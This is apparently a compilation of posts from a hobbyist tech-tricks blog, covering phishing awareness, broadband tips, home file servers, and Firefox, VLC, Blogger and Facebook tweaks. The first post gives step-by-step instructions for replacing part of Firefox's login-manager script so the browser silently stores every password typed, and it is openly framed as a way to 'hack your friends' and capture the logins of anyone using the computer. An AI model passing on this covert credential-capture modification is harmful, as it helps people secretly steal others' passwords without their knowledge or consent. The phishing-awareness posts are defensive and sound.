Hack Firefox To Autosave Password Without Notification

Its a simple Firefox hack which helps you to hack your friends 

   easily. When ever you try 

   to login in any account,firefox shows a notification asking 

   for store user name and password

   for this website. But after using this trick it will never ask 

   to store the password but it 

   would automatically store all the password. Its ideal trick

   if you want to get someones login 

   details who uses your computer.

Step To Do This Firefox Hack  

1) First you need to close firefox.

2) Now locate the nsloginmanagerprompter.js which is normally found in

C:\ProgramFiles\MozillaFirefox\Components\

3) Open  "nsloginmanagerprompter.js"  with notepad ++ or to find the line number 

yo have to use dreamweaver or some other software used for editing software

4) Replace the entire line 804 to 869 with the following code

var pwmgr = this._pwmgr;

pwmgr.addLogin(aLogin);

When you've done that "save as" to your desktop, then drag back in to 
the original folder and replace the file.
 

To see the usernames + passwords you need to click on tools at the top 
of your browser and go to page info then security.

They will be saved into the saved passwords section. 

ENJOYYYYYY..._______

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Protect Your Account From Phishing

Hello guyz,these days most of the hackers around you using a special technique caleed "phishing" to hack yur facebook and gmail mail accounts etc.

Phishing is a form of social engineering technique used by hackers to gather sensitive information such as usernames, passwords and credit card details by posing as a trustworty person/organization. Since most online users are unaware of the techniques used in carrying out a phishing attack, they often fall victims and hence, phishing can be very effective.

With the dramatic increase in the number of phishing scams in the recent years, there has also been a steady rise in the number of people being victimized. Lack of awareness among the people is the prime reason behind such attacks. This article will try to create awareness and educate the users about such online scams and frauds.

Phishing scams usually sends an email message to users requesting for their personal information, or redirects them to a website where they are required to enter thier personal information. Here are some of the tips that can be used to identify various phishing techniques and stay away from it.

Identifying a Phishing Scam

 

1. Beware of emails that demand for an urgent response from your side. Some of the examples are:

• You may receive an email which appears to have come from your bank or financial organization stating that “your bank account is limited due to an unauthorized activity. Please verify your account asap so as to avoid permanant suspension”. In most cases, you are requested to follow a link (URL) that takes you to spoofed webpage (similar to your bank website) and enter your login details over there.
• In some cases, phishing emails may ask you to make a phone call. There may be a person or an audio response waiting on the other side of the phone to take away your credit cards details, account number, social security number or other valuable data.

2. Phishing emails are generally not personalized. Since they target a lagre number of online users, they usually use generalized texts like “Dear valued customer”, “Dear Paypal user” etc. to address you. However, some phishing emails can be an exception to this rule.

3. When you click on the links contained in a phishing email, you will most likely be taken to a spoofed webpage with official logos and information that looks exactly same as that of the original webpages of your bank or financial organization. Pay attention to the URL of a website before you enter any of your personal information over there. Even though malicious websites look identical to the legitimate site, it often uses a different domain or variation in the spelling. For example, instead of paypal.com, a phishing website may use different addresses such as:

• papyal.com
• paypal.org
• verify-paypal.com
• xyz.com/paypal/verify-account/

 

Tips to Avoid Being a Victim of Phishing

 

1. Do not respond to suspicious emails that ask you to give your personal information. If you are unsure whether an email request is legitimate, verify the same by calling the respective bank/company. Always use the telephone numbers printed on your bank records or statements and not those mentioned in the suspicious email.

2. Don’t use the links in an email, instant messenger or chat conversation to enter a website. Instead, always type the URL of the website on your browser’s address bar to get into a website.

3. Legitimate websites always use a secure connection (https://) on those pages which are intended to gather sensitive data such as usernames and passwords, account numbers or credic card details. You will see a lock icon  in your browser’s address bar which indicates a secure connection. On some websites like paypal.com which uses an extended validation certificate, the address bar turns GREEN as shown below.

In most cases, unlike a legitimate website, a phishing website or a spoofed webpage will not use a secure connection and does not show up the lock icon. So, absence of such security features can be a clear indication of phishing attack. Always double-check the security features of the webpage before entering any of your personal information.

4. Always use a good antivirus software, firewall and email filters to filter the unwanted traffic. Also ensure that your browser is up-to-date with the necessary patches being applied.

5. Report a “phishing attack” or “spoofed emails” to the following groups so as to stop such attacks from spreading all over the Internet:

You can directly send an email to spam@uce.gov or reportphishing@antiphishing.org reporting an attack. You can also notify the Internet Crime Complaint Center of the FBI by filing a complaint on their website: www.ic3.gov.

Enjoyyy___:)__:____cheerzzz___:P

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How to get the best Broadband Internet Connection

Dial up is old news! In fact, the only time people talk about it is when they criticize it and broadband internet is now the buzz because it keeps on improving every single day, every single hour, every single minute and every single second. New broadband ISPs are coming up with new plans every day and people are starting to wonder if this is an ever ending game. The problem however is that most of the very people who claim to be enjoying broadband internet access are far from enjoying it, they are only enjoying fast dial up internet access without being aware of it.

Our internet connection influences the majority of our online activities to a great extent and that is why it is very important to sit down tightly and spend more time doing the right research before going for a particular broadband internet offer. This article will be giving you a few tips to help you get the best broadband internet offers.

Your Needs Matter a€“ It Just cana€™t be Overemphasized!

Which one is the best, is it that 10mbps internet service or the unlimited internet plan? I know you might be quick to jump to conclusions, but what if you really dona€™t need any of the two? What if what you need is something minimal, or what if what you need is something better? That is exactly why there is no one size fit all advice to choosing the right broadband internet connection offer.

It is very important for you to be cautious and take the right measures when it comes to choosing the right broadband offer and your needs should therefore be given the utmost priority. Every service is great in its own form, no matter how bad some people claim it to be, the only thing that will determine a good or bad things is the needs of the fellow using it.

Let Speed Come First

When you are trying to choose the right broadband internet offer for your use it is also important for you to realize that the speed of the internet service is also very important. I know you might need something minimal in order to save costs but that doesna€™t mean you should go for a 1mbps internet connection because thata€™s exactly what you need. It is important to know that most ISPs only quote the internet speed you get when few people are using their service and this kind of quote can be very inaccurate. The best way to ensure you dona€™t get into any problems when you really need to use the internet is by choosing an internet plan slightly faster than what you need. For example, if you need a 1mbps internet plan then go for 2mbps!

Dona€™t Spend a Fortune

One thing I have noticed in my experience researching internet service providers is that for every single expensive internet service provider there is a cheap one. Not every cheap service is useless and that is why research should never be underestimated in whatever you do.

Fast internet access is great, but you shouldna€™t spend a fortune to get it. Make sure you do your research extensively to find the cheapest and most effective ISP and you will be amazed at how much money you can save while still getting the best from your internet connection.

I’m Paul Tobis and I help people choose great ISPs in my area.

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Make your computer work as server

Hey friends now you can make your pc work as server and share your files on internet from your home server..

All you need to follow some simple steps.

Requirements:

A computer system with windows operating system.

Internet connection of atleast 512kbps (for proper working )

SETTING UP SERVER ON YOUR COMPUTER

First of all download the software HFS from the link given below:

http://www.rejetto.com/hfs/?f=dl

HFS is a single executable file.
No need to install.
Download and run... it's up & ready!
 Working on Windows

Now attach the files and folders to HFS you want to share on internet.

LINKING YOUR COMPUTER’S IP ADDRESS TO A DOMAIN NAME.

 Go to the following link and sign up :

http://www.no-ip.com/

now choose the desired domain name you want to use on internet for your home server and

attach your ip address to that name ..

O.K. your home server is ready now..

Screenshot of HFS

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How to protect your account from Phishing attacks

Phishing is a form of social engineering technique used by hackers to gather sensitive information such as usernames, passwords and credit card details by posing as a trustworty person/organization. Since most online users are unaware of the techniques used in carrying out a phishing attack, they often fall victims and hence, phishing can be very effective.

With the dramatic increase in the number of phishing scams in the recent years, there has also been a steady rise in the number of people being victimized. Lack of awareness among the people is the prime reason behind such attacks. This article will try to create awareness and educate the users about such online scams and frauds.

Phishing scams usually sends an email message to users requesting for their personal information, or redirects them to a website where they are required to enter thier personal information. Here are some of the tips that can be used to identify various phishing techniques and stay away from it.

Identifying a Phishing Scam

 

1. Beware of emails that demand for an urgent response from your side. Some of the examples are:

• You may receive an email which appears to have come from your bank or financial organization stating that “your bank account is limited due to an unauthorized activity. Please verify your account asap so as to avoid permanant suspension”. In most cases, you are requested to follow a link (URL) that takes you to spoofed webpage (similar to your bank website) and enter your login details over there.
• In some cases, phishing emails may ask you to make a phone call. There may be a person or an audio response waiting on the other side of the phone to take away your credit cards details, account number, social security number or other valuable data.

2. Phishing emails are generally not personalized. Since they target a lagre number of online users, they usually use generalized texts like “Dear valued customer”, “Dear Paypal user” etc. to address you. However, some phishing emails can be an exception to this rule.

3. When you click on the links contained in a phishing email, you will most likely be taken to a spoofed webpage with official logos and information that looks exactly same as that of the original webpages of your bank or financial organization. Pay attention to the URL of a website before you enter any of your personal information over there. Even though malicious websites look identical to the legitimate site, it often uses a different domain or variation in the spelling. For example, instead of paypal.com, a phishing website may use different addresses such as:

• papyal.com
• paypal.org
• verify-paypal.com
• xyz.com/paypal/verify-account/

 

Tips to Avoid Being a Victim of Phishing

 

1. Do not respond to suspicious emails that ask you to give your personal information. If you are unsure whether an email request is legitimate, verify the same by calling the respective bank/company. Always use the telephone numbers printed on your bank records or statements and not those mentioned in the suspicious email.

2. Don’t use the links in an email, instant messenger or chat conversation to enter a website. Instead, always type the URL of the website on your browser’s address bar to get into a website.

3. Legitimate websites always use a secure connection (https://) on those pages which are intended to gather sensitive data such as usernames and passwords, account numbers or credic card details. You will see a lock icon  in your browser’s address bar which indicates a secure connection. On some websites like paypal.com which uses an extended validation certificate, the address bar turns GREEN as shown below.

In most cases, unlike a legitimate website, a phishing website or a spoofed webpage will not use a secure connection and does not show up the lock icon. So, absence of such security features can be a clear indication of phishing attack. Always double-check the security features of the webpage before entering any of your personal information.

4. Always use a good antivirus software, firewall and email filters to filter the unwanted traffic. Also ensure that your browser is up-to-date with the necessary patches being applied.

5. Report a “phishing attack” or “spoofed emails” to the following groups so as to stop such attacks from spreading all over the Internet:

You can directly send an email to spam@uce.gov orreportphishing@antiphishing.org reporting an attack. You can also notify the Internet Crime Complaint Center of the FBI by filing a complaint on their website: www.ic3.gov.

source-http://www.gohacking.com

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How to run Firefox inside Firefox?

Heya!!!

You know guys, firefox is my favourite browser. and today again a have a new funny trick of firefox...

Run Firefox inside Firefox

it sounds good na, that how we can do it...

And its really easy too just type in this url in Firefox's address bar and there you go!
Firefox inside Firefox!

copy paste following url in a web browser (mozilla firefox).

chrome://browser/content/browser.xul

Following is the screenshot of this trick (firefox in firefox in firefox, which is again in another firefox)-

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Facebook Privacy Settings [Infographic]

ZoneAlarm, an expert in consumer Internet security, this week published a helpful infographic titled Social Media Safety Belt, in which they explain how to navigate your ever-changing privacy settings. In the image which they describe as “the ultimate primer for your Facebook safety needs”, they recommend the desirable settings for photos, instant personalization, public search, apps, Places, etc.

 Check the full visual here.

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Follow By Email Gadget for Blogger

Many blog readers prefer to receive updates of new posts by email (rather than subscribing in an RSS feed reader). To make it even easier for our readers to stay in touch with our sites, the Blogger Team have developed a new, official gadget: Follow by Email.Recently Blogger has added a new Gadget/Widget to its ever improving list of blogger gadgets. They call it Follow By Email. 

To add this Gadget, Follow these simple steps

1. Login to your Blogger Dashboard, Navigate to Design > Page Elements tab and click on the “Add a Gadget” Link

2.On the next window click on the plus sign, and you will be taken to the gadget options page.

3. Click the save Button and you are done.

You are done now!! :) Wasn’t that simple?

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Blogger introduce Different views to present your content

Blogger now offers you the ability to present your content in several new and exciting ways.

These dynamic views will work on your blog if all of the following are true:

Your blog is public. Your readers don’t need to sign in to view your blog.

Your blog has feeds fully enabled. In the Settings | Site feed tab, you have enabled either Full or Jump Break for your Post Feed.

You have not disabled dynamic views. In the Setting | Formatting tab, the option for Enable Dynamic Views is set to Yes.

If any of the above conditions are not true, users who attempt to access dynamic views for your blog will instead be taken to a landing page and redirected to your original blog in a few seconds.

If all of the above conditions are true, your readers can access the dynamic views for your blog by simply appending /view to the URL. 

for ex check out the different views of technowit

1. sidebar
2. flipcard
3. mosaic
4. snapshot
5. timeslide

check out this video tutorial

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orkut introduce like feature

The Orkut blog just announced that they have added a new “like” button in Orkut that will help you quickly react to your friends’ stories through smileys.

Unlike Facebook where pressing the Like button mostly means that you have really liked the story, Orkut’s implementation of the Like feature is much more complex (and ugly) offering users a whole range of emotions.

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What’s New With Blogger

Earlier in 2010 Blogger has added to many new features like new Template designer ( enables to create templates without any knowledge of HTML/CSS ), different fonts where added, stats option,comments filtering etc.

And now in 2011 blogger has previewed some of the features on http://buzz.blogger.com/that will be launched. Some of  these features which blogger has allowed its users to sneak peak are:-

1. New look of dashboard – See the screenshot of new blogger dashboard

[Open in new window to see a large view]

2. New post editor -

 

[Open in new window to see a large view]

See this video to have a better idea

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Magic of VLC Player

Hello all the readers of Technowit wish you a  HAPPY HOLI. Today i am going to share a funny magic of vlc player hope u all guys enjoy this trick.

VLC media player has an amusing ability, to playback movies in ASCII art. so if you want to play videos in ASCII format just to do the following steps.

1.open vlc palyer

2.click on TOOLs

3.under tools section go to Preferences(Tools>Preferences)

4.Open the section “Video” section 

5.under “Output” select “Color ASCII art video output” from the drop down menu

Save it. Now play any video file to enjoy the ASCII art.

hope u all guys enjoy this trick.

also share it with your friends.

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Disable Theater Effect of Facebook Photos on Any Browser

Recently, Facebook added Ajax based Theater Effect on photos to show them (photo viewer) in a new style. The style is similar to the Flickr slideshow but there are many people who still wants to browse photos in old style on Facebook. If you are one of them, then here are few ways to disable Facebook photo Theater Effect or Viewer.

Facebook Photo with Theater Effect i.e. on Theater Viewer

Facebook Photo on Old Viewer

How to disable Facebook Photos Theater Viewer

1. Remove &theater from URL – Once you click on a photo on Facebook, a new page will open where you can see &theater in the URL i.e. web address. Just remove that part from the URL and hit enter. You can now see the old Facebook photo viewer.

2. Hit F5 to Refresh the Facebook page – Very simple technique. Once the photo is opened in theater viewer, hit F5 on your keyboard. The page will load and will open the photo in old viewer.

3. Use Firefox Userscript – Mozilla Firefox users are having benefits of add-ons. InstallGreasemonkey add-on on the browser and then install this Userscript. You will not see the new theater viewer while opening photos / pictures on Facebook.

4. Google Chrome Extension – Google Chrome browser extension installation is very easy task. Install this extension on your Chrome browser to disable theater effect or viewer.

5. Another Chrome Extension – Chrome is having one more extension for this purpose. In case the above extension is not working, you can try this one.

First 2 tips will work on any browser as they are not browser dependent that means you can disable the theater effect on Internet Explorer, Safari, Opera etc. as well. Rest 3 are for Firefox and Google Chrome users.

If you are using any other technique to disable the effect or this new viewer on Facebook for pictures, then share that through comments.


source-:clickonf5

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